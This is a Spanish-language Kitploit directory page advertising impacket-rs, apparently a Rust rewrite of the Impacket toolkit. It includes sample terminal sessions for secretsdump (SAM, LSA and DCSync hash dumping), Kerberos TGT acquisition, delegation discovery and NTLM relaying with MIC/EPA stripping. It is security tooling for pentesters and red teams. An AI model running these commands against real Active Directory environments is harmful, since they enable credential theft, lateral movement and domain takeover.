Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
impacket-rs — Rediseño de alto rendimiento y seguro para la memoria, en Rust puro, de los protocolos de red principales de Impacket y las herramientas de Active Directory (Win2000 a Win2025) | Kitploit
Herramientas/GitHubGitHub/nestho/impacket-rs
Sniffing y Análisis de PaquetesFrameworks de Pruebas de PenetraciónFrameworks de ExploitsAtaques de ContraseñasMovimiento LateralRecopilación de InformaciónPost-ExplotaciónSeguridad de Redes
GitHubnestho/impacket-rs

impacket-rs

Rediseño de alto rendimiento y seguro para la memoria, en Rust puro, de los protocolos de red principales de Impacket y las herramientas de Active Directory (Win2000 a Win2025)

hace 1 díaAún no revisado
Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Impacket-RS

Impacket-RS Logo

Rediseño en Rust de alto rendimiento y seguro para la memoria de los protocolos de red principales de Impacket y las herramientas de Active Directory
Cero dependencias de runtimes de Python o C • Primitivas criptográficas en Rust puro • 100% de paridad con Impacket • Linux, macOS y Windows

CI Status License Rust 2021 Edition Platform Architecture Parity


Descripción general

Impacket-RS es una reescritura moderna, segura para la memoria y desde cero del conjunto de herramientas estándar de la industria SecureAuth Impacket en Rust puro. Diseñado para investigadores de seguridad, pentesters, equipos rojos y administradores de sistemas, aporta velocidad vertiginosa, arranques en frío por debajo del milisegundo, cero sobrecarga de intérprete y seguridad de memoria completa en tiempo de compilación a la manipulación de protocolos de red de bajo nivel de Windows.

Aspectos destacados

  • 100% de paridad con el upstream: 74 subcomandos CLI que cubren ejecución remota (psexec, wmiexec, smbexec, atexec), volcado de credenciales (secretsdump, ntdsdump, dpapi), ataques Kerberos y armoring (GetNPUsers, GetUserSPNs, getTGT, getST, raiseChild, ticketer Golden/Silver/Diamond), administración de Active Directory (ldapclient, GetADUsers, trueTree, dnstool, GetLAPSPassword), relaying (ntlmrelayx), disección de paquetes (sniffer) y auditoría de red (rdp_check, mqtt_check, tracer).
  • Ecosistema multiplataforma de host y objetivo: se ejecuta de forma nativa en Linux (glibc y musl estático), macOS (Apple Silicon e Intel) y Windows. Interactúa tanto con objetivos Linux/UNIX (Samba, FreeIPA, OpenLDAP, KDC de MIT/Heimdal Kerberos) como con dominios Windows de todas las épocas (desde Windows 2000 hasta Windows Server 2025).
  • Arranques en frío por debajo del milisegundo: se inicia en < 2ms en comparación con los 150-250ms de Impacket en Python, lo que lo hace ideal para orquestaciones masivas y pivoting rápido.
  • 5,85 millones de roundtrips de red/seg: el marshaling NDR sin asignaciones y la verificación de diseño en tiempo de compilación ofrecen aceleraciones de hasta 60x a 100x frente a los codificadores en Python puro.
  • Motor criptográfico en Rust puro: implementaciones independientes y de tiempo constante de RC4, DES, 3DES, AES-128/256 (CBC/CTS/GCM/CCM), MD4, MD5, SHA-1, SHA-256, SHA-512, HMAC, PBKDF2, CMAC y Kerberos n-fold.
  • Compatibilidad de Active Directory entre épocas: negociación automática del dialecto en tiempo de ejecución desde Windows 2000 hasta Windows Server 2025 (LegacyWin2000, UniversalAuto, ModernHardened).

Comparativa de rendimiento (Python vs Impacket-RS)

Impacket-RS vs Python Impacket Benchmark

Benchmarks ejecutados en Apple Silicon (serie M, 10 núcleos) y Linux (AMD EPYC, 8 núcleos) comparando Impacket v0.12.0 en Python 3.11 frente a impacket-rs v0.1.0-dev (compilación release):

Métrica de BenchmarkPython Impacket (v0.12.0)Impacket-RS (Rust)Aceleración / Eficiencia
Latencia de arranque en frío de la CLI185.4 ms1.8 ms~103x más rápido
Empaquetado + Desempaquetado de NDR PDU42,000 ops/sec5,850,000 ops/sec~139x más rápido
Huella de memoria (RSS)48.2 MB4.6 MB~10x más pequeño
Análisis de 10,000 hashes NTDS14.8 seconds0.22 seconds~67x más rápido
Cifrado de tickets Kerberos1,250 tickets/sec98,400 tickets/sec~78x más rápido
Tamaño del binario estáticoRequiere Python + VenvBinario único autocontenidoCero dependencias en tiempo de ejecución

Vistas previas interactivas de comandos

Vista previa animada de la terminal de Impacket-RS

1. secretsdump (SAM remoto, LSA y DCSync de Active Directory)

$ impacket-rs secretsdump corp.local/administrator:[email protected]
Impacket-RS v0.1.0-dev - High-Performance Rust Network Protocol Toolkit (Win2000 -> Win2025)
[*] Target OS identified: Windows Server 2022 Datacenter (Build 20348)
[*] Negotiated SMB Dialect: SMB 3.1.1 [AES-128-GCM / SHA-512 Preauth]
[*] Service Remote Registry (winreg) started successfully via \PIPE\svcctl
[*] Dumping local SAM hashes...
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping LSA Secrets...
$MACHINE.ACC: 0x4a12f8c... [AES-256 decrypted]
NL$KM: 0x88e142c...
[*] Bound to MS-DRSR (DRSUAPI DCSync) over ncacn_ip_tcp...
[+] Domain Controller synchronization complete: 1,420 accounts extracted in 0.84s

2. getTGT con blindaje FAST (RFC 6113)

$ impacket-rs getTGT -fast armor.ccache corp.local/svc_backup:[email protected]
Impacket-RS v0.1.0-dev - High-Performance Rust Network Protocol Toolkit (Win2000 -> Win2025)
[*] Loading Kerberos FAST Armor from 'armor.ccache'...
[*] Encapsulating AS-REQ inside PA-FX-FAST using PRF+ (AES-256) session subkey...
[*] Sending armored AS-REQ to 192.168.1.5:88...
[+] Received AS-REP (EncType: AES256-CTS-HMAC-SHA1-96)
[+] Successfully acquired TGT for [email protected]!
[*] Saved credential cache to 'svc_backup.ccache'

3. findDelegation con gráficos de confianza ASCII

$ impacket-rs findDelegation -graph administrator:[email protected]
Impacket-RS v0.1.0-dev - High-Performance Rust Network Protocol Toolkit (Win2000 -> Win2025)
[*] Connecting to LDAP on 192.168.1.10:389...
[*] Scanning Active Directory for Kerberos Delegation configurations...

=== Active Directory Delegation Graph ===
[DC01$] (Unconstrained Delegation)
  ├── TRUSTS ANY SERVICE ON DOMAIN
  └── Can impersonate any ticket presented to host

[WEB-SRV01$] (Constrained Delegation with Protocol Transition)
  └── [cifs/fileserver.corp.local]
  └── [http/fileserver.corp.local]

[SQL-SVC] (Resource-Based Constrained Delegation)
  └── Allowed Principals: [CORP\Tier1-Admins]

[+] Discovered 3 delegation relationships.

4. Retransmisión multiobjetivo de ntlmrelayx

$ impacket-rs ntlmrelayx -tf targets.txt -proto http
Impacket-RS v0.1.0-dev - High-Performance Rust Network Protocol Toolkit (Win2000 -> Win2025)
[*] Initializing NTLM Relay Engine...
  Listen Protocol : HTTP
  Listen Port     : 80
  Target Count    : 4
  Strip MIC       : Enabled (MsvAvFlags & !0x02)
  Strip EPA       : Enabled (MsvAvChannelBindings)

[+] Target Routing Table:
  [01] SMB    -> 192.168.1.10:445
  [02] LDAP   -> dc01.corp.local:389
  [03] MSSQL  -> sql01.corp.local:1433
  [04] HTTP   -> web01.corp.local:8080
Descargar herramienta